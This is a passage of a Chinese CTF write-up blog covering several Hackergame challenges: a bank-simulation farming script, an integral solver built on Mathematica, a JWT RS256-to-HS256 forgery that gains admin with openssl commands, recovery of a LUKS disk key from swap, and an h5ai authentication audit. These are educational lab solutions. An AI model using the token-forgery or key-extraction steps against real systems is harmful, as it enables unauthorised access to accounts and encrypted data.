    accounts = info.get('accounts')
    balance = 0
    for account in accounts:
        if account.get('type') == 'debit':
            balance += account.get('balance')
        if account.get('type') == 'credit':
            balance -= account.get('balance')
    return balance


def get_debt():
    """
    获取欠款
    """
    info = get_info()
    accounts = info.get('accounts')
    for account in accounts:
        if account.get('type') == 'credit':
            debt = account.get('balance')
            break
    return debt


def transfer(src, dst, amount):
    """
    转账
    """
    url = url_prefix + 'transfer'
    payload = {"src": src, "dst": dst, "amount": amount}
    r = session.post(url, json=payload)
    r.encoding = 'utf-8'
    print(r.text)
    return r.text


def eat(account):
    """
    吃饭
    """
    url = url_prefix + 'eat'
    payload = {"account": account}
    r = session.post(url, json=payload)
    r.encoding = 'utf-8'
    print(r.text)
    return r.text

办卡、转账。

    # 先办卡 1储蓄卡 2-7信用卡 8-79储蓄卡
    for i in range(6):
        print(i)
        create_card('credit')
    for i in range(6 * 12):
        print(i)
        create_card('debit')
    info = get_info()

    # 转账,每张卡转167
    for credit_id in range(2, 8):
        print(credit_id)
        for i in range(12):
            dst = 8 + 12 * (credit_id-2) + i
            amount = 167
            transfer(src=credit_id, dst=dst, amount=amount)

最后是每天稳定赚2狗币,写个循环。

当欠款到了2104时依次用储蓄卡还款,一直还到2004,否则就每天恰饭顺便薅羊毛。

debit_card_id = 8   # 储蓄卡
credit_card_id = 2  # 信用卡
while True:
    debt = get_debt()
    if get_debt() == 2104:
        for i in range(10 * 6):
            print(i)
            # 依次用后面的储蓄卡给信用卡还款
            transfer(debit_card_id, credit_card_id, 10)
            debit_card_id += 1
            credit_card_id += 1
            if credit_card_id > 7:
                credit_card_id = 2
            if debit_card_id > 79:
                debit_card_id = 8
    print("==============================")
    print(get_balance())
    eat(debit_card_id)
    debit_card_id += 1
    if debit_card_id > 79:
        debit_card_id = 8

    if get_balance() >= 2000:
        print(get_info())
        break

跑了贼久,终于得到 flag 了。

flag

flag


超基础的数理模拟器

(复现)

题目

这题需要有很扎实的数理基础才行……(废话

第一种解法是手算或者直接按计算器,但我按了几题放弃了。

正确的提示

另外一种是借助网络上公开的计算器,准备爬个接口或者自己构造一个接口来用,搜遍了发现有几个可能可以用的

题目源代码

然而发现都不能直接解析题目所给的 LaTeX,或者解不出来,再或者解出来的话精度也不够……

还有一种方案,是调用本地的服务解析 LaTeX,再进行积分运算。

于是想到了某红色软件,Mathematica,又称 MMA。

早就听说这玩意符号计算贼厉害了,虽然之前也没用过,还是比赛现装现学的,但用了就发现真的强,太香了,早知道用来解高数里的微积分题多好

搜了搜发现 MMA 支持解析 LaTeX 表达式,太好了!

原理就是用 Python 的 requests 库把题目网页爬下来,用 Beautifulsoup 解析得到 LaTeX 公式,调用 MMA 解析表达式并进行积分运算,最后用 requests 提交答案,做一个循环解个400题就完事了。

参考 Wolfram 官方文档 生成和导入 TeX,可以用下面的语句将 LaTeX 转换为 MMA 的表达式。

ToExpression["input",TeXForm]

但由于 MMA 不支持这个题目给的这个 LaTeX 格式,需要把积分上下限提取出来,最后的 {d x} 也要替换为 dx,所有的单斜杠 \ 要替换为双斜杠 \\,积分表达式也要用 \\left( \\right) 包含起来。

好了,现在在 MMA 里调好能解析 LaTeX 并积分了,下面来整和 Python 的接口。

参考 wolfram 官方文档 Wolfram Client Library for Python,官方提供了一个客户端进行交互,也可以在 MMA 里调用 Python 执行。

然而!其他都能用,一把上述调好的解析 LaTeX 的代码用这个 client 执行,终端就卡死了,啥反应没有,人傻了。试了好久不知道是我写的问题还是他本身的问题了。。

最后实在不行,改用命令行执行,可以调用安装目录下的 wolframscript -code <CodeHere> 来执行代码。就类似于 Python 的 python3 -c <CodeHere> 用法。

directory

然而发现也不行,可能由于引号和[ ]的问题语法不对执行失败了。

最后没办法了,干脆直接跑个终端吧。

参考 windows下python3如何调用mathematica进行高级计算 这一篇,用 winpexpect 来进行交互式操作。

(发现有大师傅直接用 pwntools 进行交互,其实也行 2333.

具体现在一会儿还说不清楚,后面专门写一篇讲这个交互的吧,代码还没优化好,终端超时还没处理好以至于会开一堆终端……

反正就调用 MMA 去计算,然后输出结果读进来,调用 /submit 接口提交答案。

好不容易到这一步都差不多了,心态已经炸的不行了(已经调了一下午了)。结果发现怎么一直卡在 399 题下不去???

开始怀疑我 POST 请求参数是不是不对,题目需要的是 x-www-form-urlencoded,难不成整了 form-data 或者其他的?

httpbin 试了试,又在 VPS 上搭了个接口接收试了试,没毛病啊……

再看代码,难不成 cookie 炸了。写了挺多爬虫了,一般都用 requests.Session() 维持 Cookie 状态,之前也没碰到炸的,不会这里坏掉吧。

再去研究了亿次提交过程,发现 POST 会带上此时的 Cookie,返回一个302跳转,同时 Set-Cookie,跳转之后 GET 方法带上新的 Cookie 去访问根目录,得到返回的同时又设置了新的 Cookie。

手动用 Postman 模拟了一下,如果(跟随 302 跳转)不及时更新 Cookie 的话,确实会一直卡在之前的状态,甚至连 答案正确答案错误之类的话都一模一样,还需解答的题目数量也不变,太草了!

于是比赛的时候就卡这里了。又调了一晚上心态彻底炸了。。 (后来就没打了

现在想想应该是我把初始的 Cookie 写到了 Headers 里的原因吧,后面单独设置 cookie,慢慢优化代码再试试。

20201109 Update:

优化了亿下,现在差不多了,能流畅求解了,后面专门写一篇讲讲 Python 和 MMA 交互的。 (留坑)

先简单说一说吧。

参考 Mathematica 计算式:

NIntegrate[ToExpression["\\sqrt{x} + \\frac{5}{x} + \\ln\\left(x\\right) + \\sin\\left(\\ln\\left(x\\right)\\right)",TeXForm],{x,ToExpression["\\frac{2}{3}",TeXForm],ToExpression["\\frac{4}{3}",TeXForm]},WorkingPrecision->12]

MMA示例

之前试了直接用 ToExpression 把包含 \\int_{}^{} 的积分表达式全部写进去,但发现计算速度特别慢,甚至会卡死,而且结果也不对。

还是单独把被积表达式、上下限提取出来,用自带的 NIntegrate 积分求解,顺便指定精度来的实在。

另外,这个题目卡在 399 题下不去的原因应该是初始时候的 Cookie 设置不对,在302跳转的设置上,经测试,allow_redirects 无论是 True 或者 False,Cookie 都能正确更新,也就是说用 requests.Session() 来维持 Cookie 状态是没问题的。

最开始的时候加上一个登录,把自己的 token 带上就能解决问题了,与allow_redirects 设置无关。这题甚至连 headers 都不需要设置。

参考代码如下。

from urllib.parse import quote_plus
import requests

session = requests.Session()
token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
resp = session.get(
 f"http://202.38.93.111:10190/login?token={quote_plus(token)}")
print(resp.cookies)
# ...

看了官方 WP 发现 Python 里的 sympy 库居然自带有解析 LaTeX 的,害,还是太菜了。


普通的身份认证器

近日,小 T 接手了某个老旧 Python 网站的重构工作。接手之后,他把原先的 requirements.txt 复制到了新项目下,更换了后端框架,照着框架文档魔改了身份认证部分的内容,写出了一个测试用的原型。看起来一切都很正常,只是他似乎没有仔细检查每一项依赖的版本。

「懒得管了,又不是不能用!」但果真如此吗?

登录后会返回一个 access_token,base64 解码一下很明显是 JWT。当然 JavaScript 代码里逻辑也很明显了。

{"typ":"JWT","alg":"RS256"}.{"sub":"guest","exp":1604399671}.........

一个 JWT 实际上就是一个字符串,它由三部分组成:头部 Header、载荷 Payload 与签名 Signature。将这三段信息文本用.链接一起就构成了 JWT 字符串。

参考官网 https://jwt.io/

以及 阮一峰的 JSON Web Token 入门教程

再点击 获取用户信息 时把这个 jwt 放到 请求头的 Authorization 参数里,同时也带上 Hg-Token 即你自己 hackergame 的 token。

根据题目提示,身份认证的版本上有漏洞,查了一下。

参考 JWT Attack Walk-Through 一文。

There’s a well-known defect [1] with older versions of certain libraries where you can trick a JSON Web Token (JWT) consumer that expects tokens signed using asymmetric cryptography into accepting a symmetrically signed token. This article assumes you’re comfortable with JWTs and the theory of this attack, but the nub of it is that by switching the token algorithm from ‘RS’ to ‘HS’, a vulnerable endpoint will use its public key to verify the token in a symmetric way (and being public, that key isn’t much of a secret).

简单的说就是把 RS -> HS,而后后端就用公钥去验证 token。

另外根据 HTML 里的提示,系统用了 FastAPI, Axios and Vue.js。

html

其中 FastAPI 自身带有 API 文档

在这题中就是 http://202.38.93.111:10092/docs 以及 http://202.38.93.111:10092/redoc

发现有一个 POST /debug 的接口,请求一下试试。

debug API

正好合适,这应该就是我们需要的公钥了。

-----BEGIN RSA PUBLIC KEY-----
MIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF
eNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf
ft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr
+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY
M688jhuAM/FSLfMzdyk23mJk3CKPah48nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd
46Fp1ff1zBn4sZTfPSOus/+00D5Lxh6bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s
eDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL
3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns
QcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb
pBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv
FCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==
-----END RSA PUBLIC KEY-----

把公钥保存带 key.pem 文件中。

这里要注意一下,换行用的是 \n,即十六进制的 0A,而不是 \r\n (0D0A)。且最末尾有 \n

转十六进制。

$ cat key.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e20525341205055424c4943204b45592d2d2d2d2d0a4d49494343674b43416745416e2f4b6948512b2f7a7745376b592f58663839505936536f7753623743556b32622b6c5356714339752b52344261452f35744e460a654e6c6e65474e6e79366651684352412b50647731554a536e4e704732367a2f754f4b382b4837664d6232446135742f39347761767734313073434b566276660a667438674b7175556165712f2f747032304245546553354d5749587035455843452b6c45644148676d57576f4d564d494f5877614b544d6e4356474a325352720a2b784839313437465a714f612f313750594949487555446c666547692b4975375436612b515a3074766d484c366a394f6e6b2f45454f4e75554466456c6f6e590a4d3638386a6875414d2f46534c664d7a64796b32336d4a6b33434b50616834386e7a566d6231595279664257695646475951714d43426e57676f474f616e70640a34364670316666317a426e34735a546650534f75732f2b303044354c786836627362526136413176414170666d5463753032366c496237676247374455312f730a65444964397331714135424a707a57464b4f347a746b5047765054556f6b386851424d44615348314a4f6f465167664a4966433777324351652b4b626f64514c0a33616b4b5144435a68636f41347466355643364f444a704678436e36626c4d4c3563443676654f42504a69496b38444252676d743241487a4f556a752b356e730a5163706c4f56785735544659784c71654a3846505771516356656b5a373439466a6368744177506c55736f57494830505453756e3338756138757372775458620a70426c66347230777a32324650716165637670377a36526a2f7866446175444744535534686d6e2f54593946722b4f6d464a50572f396b32524176374b4546760a46434c502f3355337230464d7753652f4650486d7435666a417473476c5a4c6a2b625a736777466c6c59654439305651553844732b4b6b434177454141513d3d0a2d2d2d2d2d454e4420525341205055424c4943204b45592d2d2d2d2d0a

Payload 里

加密算法由 RS256 降级为 HS256,再根据题目要求,需要把 guest 改成 admin.

{"typ":"JWT","alg":"HS256"}.{"sub":"admin","exp":1604399671}

base64 编码一下,且去掉结尾的 =,注意不要丢掉中间的 .

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTYwNDM5OTY3MX0

下面开始算加密所用的签名(Signature)

把上面得到的证书加载进来,用他来加密。

$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTYwNDM5OTY3MX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20525341205055424c4943204b45592d2d2d2d2d0a4d49494343674b43416745416e2f4b6948512b2f7a7745376b592f58663839505936536f7753623743556b32622b6c5356714339752b52344261452f35744e460a654e6c6e65474e6e79366651684352412b50647731554a536e4e704732367a2f754f4b382b4837664d6232446135742f39347761767734313073434b566276660a667438674b7175556165712f2f747032304245546553354d5749587035455843452b6c45644148676d57576f4d564d494f5877614b544d6e4356474a325352720a2b784839313437465a714f612f313750594949487555446c666547692b4975375436612b515a3074766d484c366a394f6e6b2f45454f4e75554466456c6f6e590a4d3638386a6875414d2f46534c664d7a64796b32336d4a6b33434b50616834386e7a566d6231595279664257695646475951714d43426e57676f474f616e70640a34364670316666317a426e34735a546650534f75732f2b303044354c786836627362526136413176414170666d5463753032366c496237676247374455312f730a65444964397331714135424a707a57464b4f347a746b5047765054556f6b386851424d44615348314a4f6f465167664a4966433777324351652b4b626f64514c0a33616b4b5144435a68636f41347466355643364f444a704678436e36626c4d4c3563443676654f42504a69496b38444252676d743241487a4f556a752b356e730a5163706c4f56785735544659784c71654a3846505771516356656b5a373439466a6368744177506c55736f57494830505453756e3338756138757372775458620a70426c66347230777a32324650716165637670377a36526a2f7866446175444744535534686d6e2f54593946722b4f6d464a50572f396b32524176374b4546760a46434c502f3355337230464d7753652f4650486d7435666a417473476c5a4c6a2b625a736777466c6c59654439305651553844732b4b6b434177454141513d3d0a2d2d2d2d2d454e4420525341205055424c4943204b45592d2d2d2d2d0a
(stdin)= 6b218e036017e7e9d3679add51314fe3fca177b2bdc0316b5944ac6aa965addc

最后一行即得到的 HMAC signature 结果,再将这个 ASCII hex signature 转换为 JWT format。

=被省略、+替换成-/替换成_ 。(Base64URL 算法)

Python 的一行代码实现。

$ python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('6b218e036017e7e9d3679add51314fe3fca177b2bdc0316b5944ac6aa965addc')).replace('=','')\")"
ayGOA2AX5-nTZ5rdUTFP4_yhd7K9wDFrWUSsaqllrdw

最后拼接得到 JWT。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTYwNDM5OTY3MX0.ayGOA2AX5-nTZ5rdUTFP4_yhd7K9wDFrWUSsaqllrdw

把这个放到 Authorization 里。别忘了 Hg-Token。

最后得到 flag。

flag

flag{just_A_simple_Json_Web_T0ken_exp1oit_xxxxx}


室友的加密硬盘

(复现)

「我的家目录是 512 位 AES 加密的,就算电脑给别人我的秘密也不会泄漏……」你的室友在借你看他装着 Linux 的新电脑时这么说道。你不信,于是偷偷从 U 盘启动,拷出了他硬盘的一部分内容。

解压出来一个 img 文件,首先拿 WinHex 看一下。

winhex

分区1

分区1里有个 keyfile,内容为

I'm not that stupid to put plaintext key in /boot!

啊这。

分区2不知道是啥。

分区3应该就是需要破解的加密部分了。

分区3

分区4感觉像是根目录,不全。

然后在 Linux 里扔给 fdisk 看一下。

$ fdisk roommates_disk_part.img 

Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): p
Disk roommates_disk_part.img: 2 GiB, 2147483648 bytes, 4194304 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa4ee910b

Device                   Boot   Start      End  Sectors  Size Id Type
roommates_disk_part.img1 *       2048   391167   389120  190M 83 Linux
roommates_disk_part.img2       393214 16775167 16381954  7.8G  5 Extended
roommates_disk_part.img5       393216  1890303  1497088  731M 82 Linux swap / Solaris
roommates_disk_part.img6      1892352  3891199  1998848  976M 83 Linux
roommates_disk_part.img7      3893248 16775167 12881920  6.1G 83 Linux

可以看到有 swap 交换分区,以及不全的 Linux 分区?而且直接挂载也挂不上。

搜了一下 LUKS 加密相关的文章,找到了国外师傅的 WriteUp,参考:

[Forensics] BsidesSF 2019 - goodluks2

[Forensics] BsidesSF 2019 - goodluks3

首先用 aeskeyfind 这个工具找一找 swap 分区里有没有残留的 AES Key。发现果然有,但是一堆。。

(本来应该先把这几个分区用 dd 之类工具分割一下的,但我懒了嘤嘤嘤

$ aeskeyfind roommates_disk_part.img 
e195501f5bf8fffe5f4c66c43249a5747875c98f9cb598c70f52a0d05f0601bc
d913145b01b203ca068e48d2f40b048639d8c6f4cfe93b22c3795945ca9d9e2a
000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f
457895c6ffa897807497bc31320cf9bff6707e176be26a1058fa49a12ccd2762
b895ea5154cea307a3f3891fd43f19c0d54ba38b8dd28519841fa818f24eaefb
082c4400a34b81dbc80de81874cf03ff16d97eb9380c515d3ec48e8433d7dc64
ef3b6d7b80e9ff8b13c8b801984d2c9cf6c0ca8dd342da98112f0c70f34fd5c8
4cdc0c14cb55bb435e75438b7d73f445ed5e90c9514b2d4264c753492bf847e8
9f3330a42a7f6446260df6e2f31d311e2fcfa3d6e1f4736e835b78e63c97ccc3
eab90394d3e9892c87a4b2f32144c71a2b1d2e0cdefce683125d695d6ed81d6c
37d7deb43c0223b8656dd6a862562a1a8360926278dc65f445eda2146844589f
000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f
6bc77bd328b378315a193c7dfa0d14c2f023f5565564de40a6ba66d29aedfd3d
31c69dff83847a6c3c3c091e4ff6113ca5799e1b63656f0bd51bd6490c20769c
e4d58f63d629f38803da3c712c5a0cc2be774b9d925d136024a181315d91ac99
136ce9ce0d3f130ebe629570a08bc2ea883e451533875140027d1b3fdb5d0091
31c69dff83847a6c3c3c091e4ff6113ca5799e1b63656f0bd51bd6490c20769c
fa01a98089a38f606c148694e7a3509aaccfc165068ed67f5715384b93e56aa6
e4581675c3f947f7b537a3dd6098e4a5898b0a18c2b3b0f675c61de4106fc6a1
4c82f3493f9a3381f51c394ab8532bd037db64b793057aade3d6bf67cbebf933
fa01a98089a38f606c148694e7a3509aaccfc165068ed67f5715384b93e56aa6
e4581675c3f947f7b537a3dd6098e4a5898b0a18c2b3b0f675c61de4106fc6a1
Keyfind progress: 100%

或者用 findaes 这个工具

$ ./findaes roommates_disk_part.img
Searching roommates_disk_part.img
Found AES-256 key schedule at offset 0xc3ffde4:
e1 95 50 1f 5b f8 ff fe 5f 4c 66 c4 32 49 a5 74 78 75 c9 8f 9c b5 98 c7 0f 52 a0 d0 5f 06 01 bc
Found AES-256 key schedule at offset 0xc6529d8:
d9 13 14 5b 01 b2 03 ca 06 8e 48 d2 f4 0b 04 86 39 d8 c6 f4 cf e9 3b 22 c3 79 59 45 ca 9d 9e 2a
Found AES-256 key schedule at offset 0xc652b08:
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
Found AES-256 key schedule at offset 0xc652bfc:
45 78 95 c6 ff a8 97 80 74 97 bc 31 32 0c f9 bf f6 70 7e 17 6b e2 6a 10 58 fa 49 a1 2c cd 27 62
Found AES-256 key schedule at offset 0xc73bde4:
b8 95 ea 51 54 ce a3 07 a3 f3 89 1f d4 3f 19 c0 d5 4b a3 8b 8d d2 85 19 84 1f a8 18 f2 4e ae fb
Found AES-256 key schedule at offset 0xc7aade4:
08 2c 44 00 a3 4b 81 db c8 0d e8 18 74 cf 03 ff 16 d9 7e b9 38 0c 51 5d 3e c4 8e 84 33 d7 dc 64
Found AES-256 key schedule at offset 0xcbffde4:
ef 3b 6d 7b 80 e9 ff 8b 13 c8 b8 01 98 4d 2c 9c f6 c0 ca 8d d3 42 da 98 11 2f 0c 70 f3 4f d5 c8
Found AES-256 key schedule at offset 0xfd13de4:
4c dc 0c 14 cb 55 bb 43 5e 75 43 8b 7d 73 f4 45 ed 5e 90 c9 51 4b 2d 42 64 c7 53 49 2b f8 47 e8
Found AES-256 key schedule at offset 0x101efde4:
9f 33 30 a4 2a 7f 64 46 26 0d f6 e2 f3 1d 31 1e 2f cf a3 d6 e1 f4 73 6e 83 5b 78 e6 3c 97 cc c3
Found AES-256 key schedule at offset 0x110d5de4:
ea b9 03 94 d3 e9 89 2c 87 a4 b2 f3 21 44 c7 1a 2b 1d 2e 0c de fc e6 83 12 5d 69 5d 6e d8 1d 6c
Found AES-256 key schedule at offset 0x1337c9d8:
37 d7 de b4 3c 02 23 b8 65 6d d6 a8 62 56 2a 1a 83 60 92 62 78 dc 65 f4 45 ed a2 14 68 44 58 9f
Found AES-256 key schedule at offset 0x1337cb08:
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
Found AES-256 key schedule at offset 0x1337cbfc:
6b c7 7b d3 28 b3 78 31 5a 19 3c 7d fa 0d 14 c2 f0 23 f5 56 55 64 de 40 a6 ba 66 d2 9a ed fd 3d
Found AES-256 key schedule at offset 0x14e67de4:
31 c6 9d ff 83 84 7a 6c 3c 3c 09 1e 4f f6 11 3c a5 79 9e 1b 63 65 6f 0b d5 1b d6 49 0c 20 76 9c
Found AES-256 key schedule at offset 0x1618ca1a:
e4 d5 8f 63 d6 29 f3 88 03 da 3c 71 2c 5a 0c c2 be 77 4b 9d 92 5d 13 60 24 a1 81 31 5d 91 ac 99
Found AES-256 key schedule at offset 0x1618cc0e:
13 6c e9 ce 0d 3f 13 0e be 62 95 70 a0 8b c2 ea 88 3e 45 15 33 87 51 40 02 7d 1b 3f db 5d 00 91
Found AES-256 key schedule at offset 0x1632db50:
31 c6 9d ff 83 84 7a 6c 3c 3c 09 1e 4f f6 11 3c a5 79 9e 1b 63 65 6f 0b d5 1b d6 49 0c 20 76 9c
Found AES-256 key schedule at offset 0x171c873a:
fa 01 a9 80 89 a3 8f 60 6c 14 86 94 e7 a3 50 9a ac cf c1 65 06 8e d6 7f 57 15 38 4b 93 e5 6a a6
Found AES-256 key schedule at offset 0x171c890d:
e4 58 16 75 c3 f9 47 f7 b5 37 a3 dd 60 98 e4 a5 89 8b 0a 18 c2 b3 b0 f6 75 c6 1d e4 10 6f c6 a1
Found AES-256 key schedule at offset 0x17d08b20:
4c 82 f3 49 3f 9a 33 81 f5 1c 39 4a b8 53 2b d0 37 db 64 b7 93 05 7a ad e3 d6 bf 67 cb eb f9 33
Found AES-256 key schedule at offset 0x19013349:
fa 01 a9 80 89 a3 8f 60 6c 14 86 94 e7 a3 50 9a ac cf c1 65 06 8e d6 7f 57 15 38 4b 93 e5 6a a6
Found AES-256 key schedule at offset 0x1901351c:
e4 58 16 75 c3 f9 47 f7 b5 37 a3 dd 60 98 e4 a5 89 8b 0a 18 c2 b3 b0 f6 75 c6 1d e4 10 6f c6 a1

用 losetup 将磁盘镜像文件虚拟成 loop 设备。

这里用第三个分区,起始的偏移为 1892352 * 512 = 968884224 bytes。

循环设备可把文件虚拟成区块设备,籍以模拟整个文件系统,让用户得以将其视为硬盘驱动器,光驱或软驱等设备,并挂入当作目录来使用。

sudo losetup --offset 968884224 /dev/loop30 roommates_disk_part.img

然后可以用 ls /dev/loop* 看到有 loop30 了。

随意把一行的 AES Key 拿去解密,发现也是提示

Cannot read 64 bytes from keyfile key0.

题目提示 AES512,这里解密出来的 AES256 密钥长度不够。于是就得把两个拼一起拿去解密,而且理论上应该是两个连续的密钥拼一起。

然而我就卡这里了。只想到正着拼接,没想到反过来连接。。

参考官方 WP 给的 Breaking Full Disk Encryption from a Memory Dump 一文,由于用的是小端序,这里应该反过来拼接。

参考博客

试了半天发现是最后两条,而且还出现了两次。

echo 'e4581675c3f947f7b537a3dd6098e4a5898b0a18c2b3b0f675c61de4106fc6a1fa01a98089a38f606c148694e7a3509aaccfc165068ed67f5715384b93e56aa6' | xxd -r -p > key0

然后用 key0 去解密镜像。

sudo cryptsetup luksOpen --master-key-file key0 /dev/loop30 decrypted

没有报错,然后再把这个 loop 给挂载上。最后进去拿到 flag。

sudo mkdir /mnt/hackergame
sudo mount /dev/mapper/decrypted /mnt/hackergame
cd /mnt/hackergame/
# ...
cat flag.txt

flag

最后再取消挂载,卸载 loop 设备。有始有终嘛。

sudo umount /mnt/hackergame
sudo losetup -d /dev/loop30
sudo rm -rf /mnt/hackergame

其他 References & Extensive Reading:

Forensics CTF challenge - FBiOS writeup

Hack.lu CTF 2015 - Forensics 150: Dr. Bob Writeup(较简单)

AES – Symmetric Ciphers Online 一个在线的 AES 解密网站

迅雷网心云x86版虚拟机硬盘解密


超简易的网盘服务器

登录了服务器后台的小 C 开始思考技术方案:“听说 h5ai 搭建云盘的方案是不错的 … 使用 Basic Auth 可以做访问控制,可以保护根目录下的文件不被非法的访问 … 等等,有一些文件是可以被分享的,需要一个 /Public 目录来共享文件!”

三分钟后,小 C 同学完成了网盘的搭建。他想:“空着总不好,先得在云盘上放点东西!”。犹豫片刻,他掏出了自己珍藏了三个月的 flag 并上传到了云盘的根目录

这题老馋了,做了好久才整出来,还是太菜了,我自己爬。

访问 /Public 目录,可以得到 nginx.conf 以及 Dockerfile

关键代码:

FROM alpine:latest
EXPOSE 10120
WORKDIR /var/www/html
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories \
    && apk add nginx supervisor php7-fpm php7-session php7-json php7-gd php7-exif git wget unzip zip\
    && mkdir -p /var/www/html/Public \
    && wget https://release.larsjung.de/h5ai/h5ai-0.29.2.zip \
    && unzip h5ai-0.29.2.zip \
    && cp -rp /var/www/html/_h5ai  /var/www/html/Public/_h5ai \
    && rm h5ai-0.29.2.zip \
    && mkdir /run/nginx

ADD ./supervisord.conf /etc/supervisor/conf.d/supervisord.conf
ADD ./nginx.conf /etc/nginx/nginx.conf
ADD ./php.ini /etc/php7/php.ini
RUN rm /etc/nginx/conf.d/default.conf

RUN chown -R nobody.nobody /var/www/html && \
  chown -R nobody.nobody /run && \
  chown -R nobody.nobody /var/lib/nginx && \
  chown -R nobody.nobody /var/log/nginx && \
  chown -R nobody.nobody /var/log/php7

USER nobody
ADD --chown=nobody ./flag.txt /var/www/html/
ADD --chown=nobody ./dockerfile ./nginx.conf /var/www/html/Public/

CMD ["/usr/bin/supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]

cp -rp /var/www/html/_h5ai /var/www/html/Public/_h5ai,这里看得出来有两个 _h5ai,实际访问也是。

server{
    # Docker 内部的地址,无关紧要
    listen 10120;
    server_name _;

    root /var/www/html;
    index index.php index.html /_h5ai/public/index.php;

    # _h5ai/private 文件夹下的内容是不可直接访问的,设置屏蔽
    location ~ _h5ai/private {
        deny all;
    }

    # 根目录是私有目录,使用 basic auth 进行认证,只有我(超极致的小 C)自己可以访问
    location / {
        auth_basic "easy h5ai. For visitors, please refer to public directory at `/Public!`";
        auth_basic_user_file /etc/nginx/conf.d/htpasswd;
    }

    # Public 目录是公开的,任何人都可以访问,便于我给大家分享文件
    location /Public {
        allow all;
        index /Public/_h5ai/public/index.php;
    }

    # PHP 的 fastcgi 配置,将请求转发给 php-fpm
    location ~ \.php$ {
             fastcgi_pass   127.0.0.1:9000;
             fastcgi_index  index.php;
             fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
             include        fastcgi_params;
    }

    location ~ /\. {
        log_not_found off;
        deny all;
    }
}

(提一句,这个密钥文件说不好还不存在(x

(本地搭建就是这样,但不影响题目。

刚开始还以为是 Nginx 配置问题,可能路径穿越,例如 /Public../但不知道跑哪去了

本地搭建试了试,的确路由到 /Public../ 目录下了,但不知道为啥列不出文件,文件下载倒是可以的。

建立目录写入文件

列不出文件

能读取文件

可能是需要设置 alias,开启 autoindex,才会有这个漏洞吧。

再想想,难道是 php-fpm在nginx特定环境下的任意代码执行漏洞(CVE-2019-11043)?(GitHub phuip-fpizdam

看了下也不是。

不行了不行了,感觉不是 nginx 的问题,得审计源码了

根据 Nginx 配置,访问这个 http://202.38.93.111:10120/Public/_h5ai/public/index.php ,发现密码为空,有一些相关的信息。

config

把源码下载下来,这个index.php调用了 class-bootstrap.php

require_once __DIR__ . '/../private/php/class-bootstrap.php';
Bootstrap::run();

class-bootstrap.php 里判断请求来源,判断是 api/info/else?

    public static function run() {
        spl_autoload_register(['Bootstrap', 'autoload']);
        putenv('LANG=en_US.UTF-8');
        setlocale(LC_CTYPE, 'en_US.UTF-8');
        date_default_timezone_set(@date_default_timezone_get());
        session_start();

        $session = new Session($_SESSION);
        $request = new Request($_REQUEST, file_get_contents('php://input'));
        $setup = new Setup($request->query_boolean('refresh', false));
        $context = new Context($session, $request, $setup);

        if ($context->is_api_request()) {
            (new Api($context))->apply();
        } elseif ($context->is_info_request()) {
            $public_href = $setup->get('PUBLIC_HREF');
            $x_head_tags = $context->get_x_head_html();
            $fallback_mode = false;
            require __DIR__ . '/pages/info.php';
        } else {
            $public_href = $setup->get('PUBLIC_HREF');
            $x_head_tags = $context->get_x_head_html();
            $fallback_mode = $context->is_fallback_mode();
            $fallback_html = (new Fallback($context))->get_html();
            require __DIR__ . '/pages/index.php';
        }
    }

class-context.php:

    public function is_api_request() {
        return strtolower($this->setup->get('REQUEST_METHOD')) === 'post';
    }

于是只要发个 POST 请求就能调用 API.

试试发现缺参数。

看调用: (new Api($context))->apply();

class-api.php:

    public function apply() {
        $action = $this->request->query('action');
        $supported = ['download', 'get', 'login', 'logout'];
        Util::json_fail(Util::ERR_UNSUPPORTED, 'unsupported action', !in_array($action, $supported));

        $methodname = 'on_' . $action;
        $this->$methodname();
    }

    private function on_download() {
        Util::json_fail(Util::ERR_DISABLED, 'download disabled', !$this->context->query_option('download.enabled', false));

        $as = $this->request->query('as');
        $type = $this->request->query('type');
        $base_href = $this->request->query('baseHref');
